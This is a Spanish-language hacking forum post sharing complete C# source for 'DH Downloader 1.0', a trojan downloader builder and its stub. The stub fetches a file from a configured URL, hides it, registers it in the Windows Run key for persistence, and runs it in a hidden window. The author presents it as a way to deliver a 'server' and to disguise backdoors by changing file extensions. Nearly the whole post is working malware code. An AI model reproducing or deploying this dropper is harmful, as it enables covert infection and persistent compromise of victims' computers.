Enero 17, 2018, 12:31:27 pm

Autor Tema: [C#] DH Downloader 1.0  (Leído 1137 veces)

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • Yo vivo en CPH
  • ***
  • Mensajes: 736
  • Sexo: Masculino
    • Ver Perfil
[C#] DH Downloader 1.0
« en: ſeptiembre 19, 2014, 01:10:35 pm »
Una traduccion de mi DH Downloader a C# con las siguiente opciones :

  • Se puede cambiar el nombre del archivo descargado
  • Se puede guardar en la carpeta que quieran
  • Se puede ocultar el archivo
  • Hace que el archivo se inicie cada vez que carga Windows
  • Se puede cargar oculto o normal
  • Tambien hice un generador en el que esta pensado para poner un link de descarga directa como dropbox para bajar un server en el cual tambien se le puede cambiar el icono.
  • En el generador se puede cambiar la extension del archivo bajado , ideal para camuflar backdoors en un servidor que no permite ejecutables.


Una imagen :



Los codigos :

El generador.

Código: (csharp) You are not allowed to view links. Register or Login
// DH Downloader 1.0
// (C) Doddy Hackman 2014
//
// Credits :
//
// Based on : http://www.csharp-examples.net/download-files/
//
//

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;

using System.Net;
using System.IO;
using Microsoft.Win32;
using System.Diagnostics;

using System.Reflection;

namespace DH_Downloader
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        string ruta_final_global = "";

        // Functions

        public string hexencode(string texto)
        {
            string resultado = "";

            byte[] enc = Encoding.Default.GetBytes(texto);
            resultado = BitConverter.ToString(enc);
            resultado = resultado.Replace("-", "");
            return "0x" + resultado;
        }

        public string hexdecode(string texto)
        {

            // Based on : http://snipplr.com/view/36461/string-to-hex----hex-to-string-convert/
            // Thanks to emregulcan

            string valor = texto.Replace("0x", "");
            string retorno = "";

            while (valor.Length > 0)
            {
                retorno = retorno + System.Convert.ToChar(System.Convert.ToUInt32(valor.Substring(0, 2), 16));
                valor = valor.Substring(2, valor.Length - 2);
            }

            return retorno.ToString();

        }

        public void cmd_normal(string command)
        {
            try
            {
                System.Diagnostics.Process.Start("cmd", "/c " + command);
            }
            catch
            {
                //
            }
        }

        public void cmd_hide(string command)
        {
            try
            {
                ProcessStartInfo cmd_now = new ProcessStartInfo("cmd", "/c " + command);
                cmd_now.RedirectStandardOutput = false;
                cmd_now.WindowStyle = ProcessWindowStyle.Hidden;
                cmd_now.UseShellExecute = true;
                Process.Start(cmd_now);
            }
            catch
            {
                //
            }
        }

        public void extraer_recurso(string name, string save)
        {

            // Based on : http://www.c-sharpcorner.com/uploadfile/40e97e/saving-an-embedded-file-in-C-Sharp/
            // Thanks to Jean Paul

            try
            {
                Stream bajando_recurso = Assembly.GetExecutingAssembly().GetManifestResourceStream(name);
                FileStream yacasi = new FileStream(save, FileMode.CreateNew);
                for (int count = 0; count < bajando_recurso.Length; count++)
                {
                    byte down = Convert.ToByte(bajando_recurso.ReadByte());
                    yacasi.WriteByte(down);
                }
                yacasi.Close();
            }
            catch
            {
                MessageBox.Show("Error unpacking resource");
            }

        }

        //

        private void mephobiaButton1_Click(object sender, EventArgs e)
        {
            Application.Exit();
        }


        private void mephobiaButton2_Click(object sender, EventArgs e)
        {

            string url = mephobiaTextBox1.Text;
            string directorio_final = "";
            string nombre_final = "";
            string ruta_final = "";

            string directorio_dondeestamos = Path.GetDirectoryName(System.Reflection.Assembly.GetEntryAssembly().Location);

            if (mephobiaCheckBox1.Checked)
            {
                nombre_final = mephobiaTextBox2.Text;
            }
            else
            {
                nombre_final = Path.GetFileName(url);
            }

            if (mephobiaCheckBox2.Checked)
            {
                directorio_final = mephobiaTextBox3.Text;
            }
            else
            {
                directorio_final = directorio_dondeestamos;
            }

            ruta_final = directorio_final + "/" + nombre_final;
            ruta_final_global = ruta_final;
           
            //MessageBox.Show(directorio_final);
            //MessageBox.Show(nombre_final);
            //MessageBox.Show(ruta_final);

            Directory.SetCurrentDirectory(directorio_final);

            if (File.Exists(ruta_final))
            {
                File.Delete(ruta_final);
            }

            toolStripStatusLabel1.Text = "[+] Downloading ...";
            this.Refresh();

            try
            {
                WebClient nave = new WebClient();
                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                nave.DownloadFileCompleted += new AsyncCompletedEventHandler(finished);
                nave.DownloadProgressChanged += new DownloadProgressChangedEventHandler(ahi_vamos);
                nave.DownloadFileAsync(new Uri(url), nombre_final);
            }

            catch
            {
                //
            }
           

            if (mephobiaCheckBox3.Checked)
            {
                if (File.Exists(ruta_final))
                {
                    try
                    {
                        File.SetAttributes(ruta_final, FileAttributes.Hidden);
                    }
                    catch
                    {
                        //
                    }
                }
            }

            if (mephobiaCheckBox4.Checked)
            {
                if (File.Exists(ruta_final))
                {
                    try
                    {
                        RegistryKey loadnow = Registry.LocalMachine;
                        loadnow = loadnow.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                        loadnow.SetValue("uberkz", ruta_final, RegistryValueKind.String);
                        loadnow.Close();
                    }
                    catch
                    {
                        //
                    }
                }
            }

            if (mephobiaCheckBox5.Checked)
            {
                if (mephobiaRadiobutton1.Checked)
                {
                    cmd_normal("\"" + ruta_final + "\"");
                }
                if (mephobiaRadiobutton2.Checked)
                {
                    cmd_hide("\"" + ruta_final + "\"");
                }

            }

        }

        private void ahi_vamos(object sender, DownloadProgressChangedEventArgs e)
        {
            toolStripProgressBar1.Value = e.ProgressPercentage;
        }

        private void finished(object sender, AsyncCompletedEventArgs e)
        {

            long tam = new System.IO.FileInfo(ruta_final_global).Length;

            if (File.Exists(ruta_final_global) && tam!=0 )
            {
                toolStripStatusLabel1.Text = "[+] Done";
                this.Refresh();
                MessageBox.Show("Downloaded");
            }
            else
            {
                toolStripStatusLabel1.Text = "[-] Error";
                this.Refresh();
                MessageBox.Show("Failed download");
            }
            toolStripProgressBar1.Value = 0;
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            toolStripProgressBar1.Value = 0;
        }

        private void mephobiaButton3_Click(object sender, EventArgs e)
        {

            string linea_generada = "";

            string url = mephobiaTextBox4.Text;
            string opcion_change_name = "";
            string text_change_name = mephobiaTextBox5.Text;
            string opcion_carga_normal = "";
            string opcion_carga_hide = "";
            string ruta_donde_bajar = "";
            string opcion_ocultar_archivo = "";
            string opcion_startup = "";

            if (mephobiaCheckBox7.Checked)
            {
                opcion_change_name = "1";
            }
            else
            {
                opcion_change_name = "0";
            }

            if (mephobiaRadiobutton3.Checked)
            {
                opcion_carga_normal = "1";
            }
            else
            {
                opcion_carga_normal = "0";
            }

            if (mephobiaRadiobutton4.Checked)
            {
                opcion_carga_hide = "1";
            }
            else
            {
                opcion_carga_hide = "0";
            }

            if (mephobiaComboBox1.SelectedItem != null)
            {
                ruta_donde_bajar = mephobiaComboBox1.SelectedItem.ToString();
            }
            else
            {
                ruta_donde_bajar = "Fuck You Bitch";
            }

            if (mephobiaCheckBox6.Checked)
            {
                opcion_ocultar_archivo = "1";
            }
            else
            {
                opcion_ocultar_archivo = "0";
            }

            if (mephobiaCheckBox8.Checked)
            {
                opcion_startup = "1";
            }
            else
            {
                opcion_startup = "0";
            }

            extraer_recurso("DH_Downloader.Resources.stub.exe", "stub.exe");

            string check_stub = AppDomain.CurrentDomain.BaseDirectory + "/stub.exe";
            string work_on_stub = AppDomain.CurrentDomain.BaseDirectory + "/done.exe";

            if (File.Exists(check_stub))
            {

                if (File.Exists(work_on_stub))
                {
                    System.IO.File.Delete(work_on_stub);
                }

                System.IO.File.Copy(check_stub, work_on_stub);

                linea_generada = "-url-" + url + "-url-" + "-opcion_change_name-" + opcion_change_name + "-opcion_change_name-" +
                "-text_change_name-" + text_change_name + "-text_change_name-" + "-opcion_carga_normal-" +
                opcion_carga_normal + "-opcion_carga_normal-" + "-opcion_carga_hide-" + opcion_carga_hide +
                "-opcion_carga_hide-" + "-ruta_donde_bajar-" + ruta_donde_bajar + "-ruta_donde_bajar-" +
                "-opcion_ocultar_archivo-" + opcion_ocultar_archivo + "-opcion_ocultar_archivo-"+"-opcion_startup-"+
                opcion_startup+"-opcion_startup-";

                string generado = hexencode(linea_generada);
                string linea_final = "-63686175-" + generado + "-63686175-";

                FileStream abriendo = new FileStream(work_on_stub, FileMode.Append);
                BinaryWriter seteando = new BinaryWriter(abriendo);
                seteando.Write(linea_final);
                seteando.Flush();
                seteando.Close();
                abriendo.Close();

                //MessageBox.Show(generado);
                //MessageBox.Show(hexdecode(generado));

                try
                {
                    System.IO.File.Delete(check_stub);
                }
                catch
                {
                    //
                }

                MessageBox.Show("Tiny downloader Generated");

            }
            else
            {
                MessageBox.Show("Stub not found");
            }

        }
    }
}

// The End ?

El Stub.

Código: (csharp) You are not allowed to view links. Register or Login
// DH Downloader 1.0
// (C) Doddy Hackman 2014
// Thanks to : http://weblogs.asp.net/jhallal/hide-the-console-window-in-quot-c-console-application-quot

using System;
using System.Collections.Generic;
using System.Text;
using System.Diagnostics;
using System.Net;
using System.IO;
using Microsoft.Win32;

namespace stub
{

    class Program
    {

        // Functions

        static public void cmd_normal(string command)
        {
            try
            {
                System.Diagnostics.Process.Start("cmd", "/c " + command);
            }
            catch
            {
                //
            }
        }

        static public void cmd_hide(string command)
        {
            try
            {
                ProcessStartInfo cmd_now = new ProcessStartInfo("cmd", "/c " + command);
                cmd_now.RedirectStandardOutput = false;
                cmd_now.WindowStyle = ProcessWindowStyle.Hidden;
                cmd_now.UseShellExecute = true;
                Process.Start(cmd_now);
            }
            catch
            {
                //
            }
        }

        static public void add_startup(string path)
        {
            try
            {
                RegistryKey loadnow = Registry.LocalMachine;
                loadnow = loadnow.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                loadnow.SetValue("uberkzz", path, RegistryValueKind.String);
                loadnow.Close();
            }
            catch
            {
                //
            }
        }

        //

        static void Main(string[] args)
        {

            load_config config = new load_config();
            config.load_data();
            string check_online = config.downloader_online;
            if (check_online == "1")
            {
                Console.WriteLine("[+] Downloader Online");

                string url = config.url;
                string opcion_change_name = config.opcion_change_name;
                string text_change_name = config.text_change_name;
                string opcion_carga_normal = config.opcion_carga_normal;
                string opcion_carga_hide = config.opcion_carga_hide;
                string ruta_donde_bajar = config.ruta_donde_bajar;
                string opcion_ocultar_archivo = config.opcion_ocultar_archivo;
                string opcion_startup = config.opcion_startup;

                string nombre_final = "";
                string directorio_final = "";
                string ruta_final = "";

                //string output = config.get_data();
                //Console.WriteLine(output);

                if (opcion_change_name == "1")
                {
                    nombre_final = text_change_name;
                }
                else
                {
                    nombre_final = Path.GetFileName(url);
                }

                if (ruta_donde_bajar != "")
                {
                    directorio_final = Environment.GetEnvironmentVariable(ruta_donde_bajar);
                }
                else
                {
                    directorio_final = Environment.GetEnvironmentVariable("USERPROFILE");
                }

                ruta_final = directorio_final + "/" + nombre_final;

                Console.WriteLine("[+] URL : "+url+"\n");
                Console.WriteLine("[+] Filename : "+ruta_final+"\n");

                try
                {
                    WebClient nave = new WebClient();
                    nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                    nave.DownloadFile(url, ruta_final);
                }
                catch
                {
                    //
                }

                if (opcion_ocultar_archivo == "1")
                {
                    Console.WriteLine("[+] Hide : "+ruta_final+"\n");
                    try
                    {
                        File.SetAttributes(ruta_final, FileAttributes.Hidden);
                    }
                    catch
                    {
                        //
                    }
                }

                if (opcion_startup == "1")
                {
                    Console.WriteLine("[+] Add Startup : "+ruta_final+"\n");
                    add_startup(ruta_final);
                }

                if (opcion_carga_normal == "1")
                {
                    Console.WriteLine("[+] Load normal : "+ruta_final+"\n");
                    cmd_normal(ruta_final);
                }

                if (opcion_carga_hide == "1")
                {
                    Console.WriteLine("[+] Load hide : "+ruta_final+"\n");
                    cmd_hide(ruta_final);
                }
               
                //Console.ReadKey();

            }
            else
            {
                Console.WriteLine("[-] Downloader OffLine");
                //Console.ReadKey();
            }
           
        }
    }
}

// The End ?

Clase load_config.cs del Stub.

Código: (csharp) You are not allowed to view links. Register or Login
// DH Downloader 1.0
// (C) Doddy Hackman 2014

using System;
using System.Collections.Generic;
using System.Text;

using System.IO;
using System.Text.RegularExpressions;

namespace stub
{
    class load_config
    {
        string downloader_online_config = "";
        string url_config = "";
        string opcion_change_name_config = "";
        string text_change_name_config = "";
        string opcion_carga_normal_config = "";
        string opcion_carga_hide_config = "";
        string ruta_donde_bajar_config = "";
        string opcion_ocultar_archivo_config = "";
        string opcion_startup_config = "";

        public string downloader_online
        {
            set { downloader_online_config = value; }
            get { return downloader_online_config; }
        }

        public string url
        {
            set { url_config = value; }
            get { return url_config; }
        }

        public string opcion_change_name
        {
            set { opcion_change_name_config = value; }
            get { return opcion_change_name_config; }
        }

        public string text_change_name
        {
            set { text_change_name_config = value; }
            get { return text_change_name_config; }
        }

        public string opcion_carga_normal
        {
            set { opcion_carga_normal_config = value; }
            get { return opcion_carga_normal_config; }
        }

        public string opcion_carga_hide
        {
            set { opcion_carga_hide_config = value; }
            get { return opcion_carga_hide_config; }
        }

        public string ruta_donde_bajar
        {
            set { ruta_donde_bajar_config = value; }
            get { return ruta_donde_bajar_config; }
        }

        public string opcion_ocultar_archivo
        {
            set { opcion_ocultar_archivo_config = value; }
            get { return opcion_ocultar_archivo_config; }
        }

        public string opcion_startup
        {
            set { opcion_startup_config = value; }
            get { return opcion_startup_config; }
        }

        public string hexencode(string texto)
        {
            string resultado = "";

            byte[] enc = Encoding.Default.GetBytes(texto);
            resultado = BitConverter.ToString(enc);
            resultado = resultado.Replace("-", "");
            return "0x" + resultado;
        }

        public string hexdecode(string texto)
        {

            // Based on : http://snipplr.com/view/36461/string-to-hex----hex-to-string-convert/
            // Thanks to emregulcan

            string valor = texto.Replace("0x", "");
            string retorno = "";

            while (valor.Length > 0)
            {
                retorno = retorno + System.Convert.ToChar(System.Convert.ToUInt32(valor.Substring(0, 2), 16));
                valor = valor.Substring(2, valor.Length - 2);
            }

            return retorno.ToString();
        }

        public load_config()
        {
            string downloader_online_config = "";
            string url_config = "";
            string opcion_change_name_config = "";
            string text_change_name_config = "";
            string opcion_carga_normal_config = "";
            string opcion_carga_hide_config = "";
            string ruta_donde_bajar_config = "";
            string opcion_ocultar_archivo_config = "";
            string opcion_startup_config = "";
        }

        public void load_data()
        {
            StreamReader viendo = new StreamReader(System.Reflection.Assembly.GetEntryAssembly().Location);
            string contenido = viendo.ReadToEnd();
            Match regex = Regex.Match(contenido, "-63686175-(.*?)-63686175-", RegexOptions.IgnoreCase);

            if (regex.Success)
            {
                string comandos = regex.Groups[1].Value;
                if (comandos != "" || comandos != " ")
                {
                    downloader_online_config = "1";
                    string leyendo = hexdecode(comandos);

                    regex = Regex.Match(leyendo, "-url-(.*)-url-", RegexOptions.IgnoreCase);
                    if (regex.Success)
                    {
                        url_config = regex.Groups[1].Value;
                    }

                    regex = Regex.Match(leyendo, "-opcion_change_name-(.*)-opcion_change_name-", RegexOptions.IgnoreCase);
                    if (regex.Success)
                    {
                        opcion_change_name_config = regex.Groups[1].Value;
                    }

                    regex = Regex.Match(leyendo, "-text_change_name-(.*)-text_change_name-", RegexOptions.IgnoreCase);
                    if (regex.Success)
                    {
                        text_change_name_config = regex.Groups[1].Value;
                    }

                    regex = Regex.Match(leyendo, "-opcion_carga_normal-(.*)-opcion_carga_normal-", RegexOptions.IgnoreCase);
                    if (regex.Success)
                    {
                        opcion_carga_normal_config = regex.Groups[1].Value;
                    }

                    regex = Regex.Match(leyendo, "-opcion_carga_hide-(.*)-opcion_carga_hide-", RegexOptions.IgnoreCase);
                    if (regex.Success)
                    {
                        opcion_carga_hide_config = regex.Groups[1].Value;
                    }

                    regex = Regex.Match(leyendo, "-ruta_donde_bajar-(.*)-ruta_donde_bajar-", RegexOptions.IgnoreCase);
                    if (regex.Success)
                    {
                        ruta_donde_bajar_config = regex.Groups[1].Value;
                    }

                    regex = Regex.Match(leyendo, "-opcion_ocultar_archivo-(.*)-opcion_ocultar_archivo-", RegexOptions.IgnoreCase);
                    if (regex.Success)
                    {
                        opcion_ocultar_archivo_config = regex.Groups[1].Value;
                    }

                    regex = Regex.Match(leyendo, "-opcion_startup-(.*)-opcion_startup-", RegexOptions.IgnoreCase);
                    if (regex.Success)
                    {
                        opcion_startup_config = regex.Groups[1].Value;
                    }

                }
                else
                {
                    downloader_online_config = "0";
                }
            }

        }

        public string get_data()
        {
            string lista = "[+] Downloader Online : " + downloader_online_config + "\n" +
            "[+] URL : " + url_config +"\n" +
            "[+] Option Change Name : " + opcion_change_name_config + "\n" +
            "[+] Change Name to : " + text_change_name_config + "\n" +
            "[+] Option normal load : " + opcion_carga_normal_config + "\n" +
            "[+] Option hide load : " + opcion_carga_hide_config + "\n" +
            "[+] Path : " + ruta_donde_bajar_config + "\n" +
            "[+] Option hide file : " + opcion_ocultar_archivo_config + "\n" +
            "[+] Option startup : " + opcion_startup_config;

            //

            return lista;
        }
   

    }
}

// The End ?

You are not allowed to view links. Register or Login.

Si lo quieren bajar lo pueden hacer de You are not allowed to view links. Register or Login.


xx
[Downloader]HeatshocK Downloader v1

Iniciado por sn0x.

6 Respuestas
1546 Vistas
Último mensaje Agosto 22, 2008, 09:53:16 pm
por mankito
xx
[DOWN]Downloader (FWB++)

Iniciado por sn0x.

0 Respuestas
1293 Vistas
Último mensaje Mayo 13, 2008, 01:06:11 pm
por sn0x.
question
Que es un Downloader?

Iniciado por Adzok

7 Respuestas
1252 Vistas
Último mensaje Octubre 06, 2011, 05:18:57 am
por natas
xx
[DOWN]Downloader -=- D.m.C.4 -=- FoR kyp's

Iniciado por sn0x.

0 Respuestas
1139 Vistas
Último mensaje Mayo 13, 2008, 01:05:37 pm
por sn0x.
xx
[DOWN]Chameleon Downloader v1.0

Iniciado por sn0x.

0 Respuestas
1227 Vistas
Último mensaje Marzo 08, 2008, 12:26:17 pm
por sn0x.
xx
troyan downloader

Iniciado por elmigra

4 Respuestas
1001 Vistas
Último mensaje Enero 31, 2012, 04:50:07 am
por mDrinky
xx
TikkySoft Web Downloader v1.0

Iniciado por who

4 Respuestas
1194 Vistas
Último mensaje Agosto 23, 2008, 07:36:00 pm
por mankito
exclamation
Mp3Skull Downloader

Iniciado por hanlly

4 Respuestas
1815 Vistas
Último mensaje Diciembre 24, 2012, 02:38:21 am
por JaAViEr
exclamation
[Delphi] DH Downloader 0.8

Iniciado por BigBear

0 Respuestas
647 Vistas
Último mensaje Mayo 29, 2014, 02:53:48 pm
por BigBear
xx
problema con mi downloader

Iniciado por L-ΣYER

3 Respuestas
2521 Vistas
Último mensaje Agosto 26, 2009, 01:37:48 pm
por Rcart